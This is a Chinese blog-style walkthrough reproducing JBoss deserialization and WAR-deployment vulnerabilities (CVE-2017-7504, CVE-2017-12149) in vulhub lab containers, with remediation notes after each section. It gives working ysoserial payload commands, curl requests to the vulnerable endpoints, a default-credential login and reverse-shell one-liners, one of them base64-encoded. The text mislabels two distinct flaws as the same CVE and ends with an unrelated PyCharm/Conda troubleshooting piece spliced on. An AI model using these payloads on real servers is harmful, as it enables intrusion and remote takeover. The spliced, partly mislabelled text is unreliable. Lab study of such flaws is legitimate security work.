中间件安全系列(五):JBoss高危漏洞深度剖析与实战复现指南

一、 jboss/CVE-2017-7504后台部署war包

1. 漏洞原理

CVE-2017-7504是JBoss应用服务器中的一个远程代码执行漏洞,允许攻击者通过JMX Invoker Servlet在未授权的情况下部署恶意WAR包,从而获取服务器控制权。

(1)JMX Invoker Servlet暴露问题:

JBoss的/invoker/JMXInvokerServlet端点默认暴露
该端点允许通过HTTP请求直接调用JMX接口
没有进行充分的身份验证和授权检查

(2)MBean操作滥用:

通过JMX接口可以访问jboss.system:service=MainDeployer MBean
该MBean提供了deploy()方法,允许远程部署应用
攻击者可以构造特殊请求调用此方法

(3)WAR包部署机制:

JBoss支持通过HTTP PUT或POST请求上传WAR文件
一旦WAR包被部署,其中的Servlet/JSP代码将在服务器上执行

2.漏洞复现

(1) 部署漏洞环境,cd /vulhub/jboss/CVE-2017-7504 然后docker-compose up -d
(2)访问该漏洞地址

(3)找到console登录选项,并使用弱口令admin,admin登录

(4)找到部署war包的地方


(5) 将war包放置在python根目录下,然后运行python的http服务

(6) 将war包所在的路径及ip输入到jboss的上传war包的地方

http://192.168.120.1:8000/shell.war


上传成功

(7) 利用冰蝎进行连接

连接成功

3. 修复方案

删除或限制访问/invoker/JMXInvokerServlet
升级到已修复的JBoss版本
配置JMX接口的访问控制
禁用不必要的MBean操作

二、 jboss/CVE-2017-7504反序列化漏洞

1. 知识点

序列化就是将数据结构或者对象转换成二进制串的过程。

反序列化就是将序列化过程中生成的二进制串转回成数据结构或对象的过程。

2. 漏洞原理

CVE-2017-7504 是 JBoss 应用服务器中的一个 Java 反序列化漏洞,与 JMXInvokerServlet 相关,允许攻击者通过构造恶意序列化对象实现远程代码执行(RCE)。
JBoss AS4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可以通过特制的序列化数据利用该漏洞执行恶意的代码。

/jbossmq-httpil/HTTPServerILServlet

3.复现

(1)Jboss执行任意代码

①、 部署漏洞环境,cd /vulhub/jboss/CVE-2017-7504 然后docker-compose up -d
②、 将可以对数据进行序列化和反序列化的工具复制到/vulhub/jboss/CVE-2017-7504下

③、 使用ysoserial.jar对我们要执行的代码生成序列化文件

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > 1.ser


如果生成序列化文件时报错,可使用

update-alternatives --config java

切换为java11版本。

④、 将1.ser以post方式发送到该漏洞下

curl http://192.168.120.136:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser


⑤、 查看是否创建成功

创建成功

(2) Jboss利用反序列化漏洞进行反弹shell

知识点:反弹shell命令:bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
①、 部署漏洞环境,cd /vulhub/jboss/CVE-2017-7504 然后docker-compose up -d
②、 使用ysoserial.jar对我们要执行的代码生成序列化文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,你的反弹shell命令的BASE64编码}|{base64,-d}|{bash,-i}" > 随便什么名字.ser


③、 监听6666端口,并将shell.ser以post方式发送到该漏洞下

curl http://192.168.120.136:8080/jbossmq-httpil/HTTPServerILServlet --data-binary  @shell.ser


监听成功

4. 修复方案

(1)立即措施:
删除 JMXInvokerServlet 对应的 JAR 文件
或通过 web.xml 禁用该 Servlet
(2)长期方案:
升级到已修复的 JBoss 版本
实施 Java 反序列化过滤器
移除不必要的依赖库(如旧版 Commons Collections)
(3)防护措施:
在网络边界过滤对 /invoker/JMXInvokerServlet 的访问
实施最小权限原则,限制 JBoss 运行权限

三、jboss/CVE-2017-12149

1. jboss/CVE-2017-12149利用反序列化漏洞执行任意代码

原理:同cve-2017-7504相同,只是利用的接口不同 /invoker/readonly
(1)部署漏洞环境,cd /vulhub/jboss/CVE-2017-12149 然后,docker-compose up -d
(2)使用ysoserial.jar对我们要执行的代码生成序列化文件

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/sucess">1.ser


(3)将1.ser以post方式发送到该漏洞下

curl http://192.168.120.136:8080/invoker/readonly  --data-binary @1.ser


(4)查看是否创建

创建成功

2. 利用漏洞进行反弹shell

(1)使用ysoserial.jar对我们要执行的代码生成序列化文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,你的反弹shell命令的BASE64编码}|{base64,-d}|{bash,-i}" > 随便什么名字.ser
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xMzYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" > shell.ser  

(2)监听6666端口,并将shell.ser以post方式发送到该漏洞下


监听成功

### 解决PyCharm无法加载Conda虚拟环境的方法 #### 配置设置 为了使 PyCharm 能够成功识别并使用 Conda 创建的虚拟环境,需确保 Anaconda 的路径已正确添加至系统的环境变量中[^1]。这一步骤至关重要,因为只有当 Python 解释器及其关联工具被加入 PATH 后,IDE 才能顺利找到它们。 对于 Windows 用户而言,在安装 Anaconda 时,默认情况下会询问是否将它添加到系统路径里;如果当时选择了否,则现在应该手动完成此操作。具体做法是在“高级系统设置”的“环境变量”选项内编辑 `Path` 变量,追加 Anaconda 安装目录下的 Scripts 文件夹位置。 另外,建议每次新建项目前都通过命令行先激活目标 conda env: ```bash conda activate myenvname ``` 接着再启动 IDE 进入工作区,这样有助于减少兼容性方面的问题发生概率。 #### 常见错误及修复方法 ##### 错误一:未发现任何解释器 症状表现为打开 PyCharm 新建工程向导页面找不到由 Conda 构建出来的 interpreter 列表项。此时应前往 Preferences/Settings -> Project:...->Python Interpreter 下方点击齿轮图标选择 Add...按钮来指定自定义的位置。按照提示浏览定位到对应版本 python.exe 的绝对地址即可解决问题。 ##### 错误二:权限不足导致 DLL 加载失败 有时即使指定了正确的解释器路径,仍可能遇到由于缺乏适当的操作系统级许可而引发的功能缺失现象。特别是涉及到调用某些特定类型的动态链接库 (Dynamic Link Library, .dll) 时尤为明显。因此拥有管理员身份执行相关动作显得尤为重要——无论是从终端还是图形界面触发创建新 venv 流程均如此处理能够有效规避此类隐患。 ##### 错误三:网络连接异常引起依赖下载超时 部分开发者反馈过因网速慢或者其他因素造成 pip install 操作中途断开进而影响整个项目的初始化进度条卡住的情况。对此可尝试调整镜像源加速获取速度或是离线模式预先准备好所需资源包后再继续后续步骤。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值